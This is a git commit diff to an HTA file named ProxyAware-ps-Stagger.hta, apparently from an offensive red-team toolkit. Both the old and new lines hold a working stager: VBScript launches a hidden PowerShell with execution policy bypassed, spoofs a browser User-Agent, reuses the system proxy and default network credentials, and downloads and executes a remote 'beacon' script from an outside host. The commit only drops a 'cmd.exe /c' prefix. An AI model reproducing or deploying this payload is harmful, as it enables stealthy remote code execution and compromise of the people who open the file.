Update ProxyAware-ps-Stagger.hta

killswitch-GUI · killswitch-GUI · commit 1e0214210b7e · 2016-02-29T15:31:17.000-05:00
diff --git a/ProxyAware-ps-Stagger.hta b/ProxyAware-ps-Stagger.hta
@@ -2,7 +2,7 @@
 	Function var_func()
 		Dim var_shell
 		Set var_shell = CreateObject("Wscript.Shell")
-		var_shell.run "cmd.exe /c powershell.exe -exec bypass -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.downloadstring('http://site.org/beacon'))", 0, true
+		var_shell.run "powershell.exe -exec bypass -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.downloadstring('http://site.org/beacon'))", 0, true
 		# Beacon is a Fully Staged .ps1
 	End Function
 
